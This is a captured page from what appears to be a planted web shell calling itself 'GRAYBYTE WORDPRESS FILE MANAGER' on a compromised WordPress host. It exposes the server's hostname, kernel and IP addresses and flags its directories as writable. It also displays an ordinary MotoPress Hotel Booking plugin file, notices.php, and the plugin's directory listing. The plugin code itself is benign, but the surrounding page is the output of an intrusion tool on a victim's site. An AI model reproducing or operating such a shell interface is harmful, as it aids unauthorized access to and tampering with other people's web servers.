✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/motopress-hotel-booking/includes//notices.php
<?php

namespace MPHB;

/**
 * @since 3.7.0
 */
class Notices {

	protected $notices = array(
		// Notice ID => Render callback
		'force_upgrade'                 => 'forceUpgradeNotice',
		'update_confirmation_endpoints' => 'updateEndpointsNotice',
	);

	protected $capabilities = array(
		// Notice ID => Required capabilities
		'force_upgrade'                 => array(),
		'update_confirmation_endpoints' => array( 'manage_options', 'edit_pages' ),
	);

	protected $passedNotices = array();

	public function __construct() {
		$this->addActions();

		// Load notices even on AJAX calls. Otherwise we will show all notices
		// on each upgrade
		$this->loadPassedNotices();
	}

	public function addActions() {
		add_action( 'admin_notices', array( $this, 'displayNotices' ) );
	}

	protected function loadPassedNotices() {
		// Use ["force_upgrade"] when there is no value and don't accidentally
		// show upgrade message (not so important after version 3.7.0)
		$passedNotices       = get_option( 'mphb_passed_notices', array( 'force_upgrade' ) );
		$this->passedNotices = is_array( $passedNotices ) ? $passedNotices : array();
	}

	public function displayNotices() {
		foreach ( $this->notices as $noticeId => $renderMethod ) {
			// Skip passed or not actual notices
			if ( in_array( $noticeId, $this->passedNotices ) ) {
				continue;
			} elseif ( ! $this->isActualNotice( $noticeId ) ) {
				$this->hideNotice( $noticeId );
				continue;
			}

			// Skip if user can't perform the action
			if ( ! $this->checkCapabilities( $noticeId ) ) {
				continue;
			}

			// Display the notice
            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			echo $this->displayNotice( $noticeId, $renderMethod );
		}
	}

	public function displayNotice( $noticeId, $renderMethod ) {
		$actionUrl = wp_nonce_url(
			add_query_arg(
				array(
					'mphb_action' => $noticeId,
				)
			),
			$noticeId,
			'mphb_notice_nonce'
		);

		$cancelUrl = wp_nonce_url(
			add_query_arg(
				array(
					'mphb_action' => 'hide_notice',
					'notice_id'   => $noticeId,
				)
			),
			'hide_notice',
			'mphb_notice_nonce'
		);

        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo $this->$renderMethod( $actionUrl, $cancelUrl );
	}

	public function isActualNotice( $noticeId ) {
		switch ( $noticeId ) {
			case 'update_confirmation_endpoints':
				return MPHB()->settings()->pages()->getBookingConfirmedPageId() != 0
					|| MPHB()->settings()->pages()->getReservationReceivedPageId() != 0;
				break;
		}

		return true;
	}

	public function checkCapabilities( $noticeId ) {
		if ( ! array_key_exists( $noticeId, $this->capabilities ) ) {
			return false;
		}

		foreach ( $this->capabilities[ $noticeId ] as $capability ) {
			if ( ! current_user_can( $capability ) ) {
				return false;
			}
		}

		return true;
	}

	public function showNotice( $noticeId ) {
		$itemIndex = array_search( $noticeId, $this->passedNotices );

		if ( $itemIndex !== false ) {
			unset( $this->passedNotices[ $itemIndex ] );
			update_option( 'mphb_passed_notices', $this->passedNotices );
		}
	}

	public function hideNotice( $noticeId ) {
		if ( ! in_array( $noticeId, $this->passedNotices ) ) {
			$this->passedNotices[] = $noticeId;
			update_option( 'mphb_passed_notices', $this->passedNotices );
		}
	}

	/**
	 * @param string $actionUrl
	 * @param string $cancelUrl
	 * @return string Notice HTML.
	 */
	public function forceUpgradeNotice( $actionUrl, $cancelUrl ) {
		$output      = '<div class="updated mphb-admin-notice">';
			$output .= '<p><strong>' . __( 'Hotel Booking Plugin', 'motopress-hotel-booking' ) . '</strong></p>';
			$output .= '<p>' . __( 'Your database is being updated in the background.', 'motopress-hotel-booking' ) . '</p>';
			$output .= '<p>'
				. '<a href="' . esc_url( $actionUrl ) . '">' . __( 'Taking a while? Click here to run it now.', 'motopress-hotel-booking' ) . '</a>'
				. ' (' . MPHB()->upgrader()->getProgress() . '%)'
				. '</p>';
		$output     .= '</div>';

		return $output;
	}

	/**
	 * @param string $actionUrl
	 * @param string $cancelUrl
	 * @return string Notice HTML.
	 */
	public function updateEndpointsNotice( $actionUrl, $cancelUrl ) {
		$output      = '<div class="updated">';
			$output .= '<p><strong>' . __( 'Hotel Booking Plugin', 'motopress-hotel-booking' ) . '</strong></p>';
			$output .= '<p>' . __( 'Add "Booking Confirmation" shortcode to your "Booking Confirmed" and "Reservation Received" pages to show more details about booking or payment.<br/>Click "Update Pages" to apply all changes automatically or skip this notice and add "Booking Confirmation" shortcode manually.<br/><b><em>This action will replace the whole content of the pages.</em></b>', 'motopress-hotel-booking' ) . '</p>';
			$output .= '<p>'
				. '<a href="' . esc_url( $actionUrl ) . '" class="button-primary">' . esc_html__( 'Update Pages', 'motopress-hotel-booking' ) . '</a>'
				. '&nbsp;'
				. '<a href="' . esc_url( $cancelUrl ) . '" class="button-secondary">' . esc_html__( 'Skip', 'motopress-hotel-booking' ) . '</a>'
				. '</p>';
		$output     .= '</div>';

		return $output;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
admin
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
advanced
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
ajax-api
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
bundles
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
core
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
crons
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
csv
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
emails
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
entities
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
exceptions
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
i-cal
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
libraries
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
payments
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
persistences
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
polyfills
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
post-types
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
reports
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
repositories
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
script-managers
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
settings
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
shortcodes
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
taxes-and-fees
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
upgrades
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
user-actions
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
users-and-roles
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
utils
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
views
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
widgets
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
.htaccess
0.41 KB
28 Apr 2026 8.56 AM
builxejc / builxejc
0644
actions-handler.php
2.542 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
ajax.php
27.235 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
attribute-functions.php
6.333 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
autoloader.php
4.519 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
background-pausable-process.php
3.463 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
background-process.php
3.604 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
blocks-render.php
3.347 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
bookings-calendar.php
39.107 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
calendar-feed.php
0.439 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
custom-post-types.php
2.669 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
fixes.php
1.38 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
importer.php
8.159 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
license-notice.php
2.605 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
linked-rooms.php
6.978 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
notices.php
5.03 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
recommendation.php
8.391 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
reservation-request.php
3.533 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
search-parameters-storage.php
5.555 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
session.php
1.361 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
shortcodes.php
3.702 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
translation.php
15.041 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
upgrader.php
24.661 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
wizard.php
7.841 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF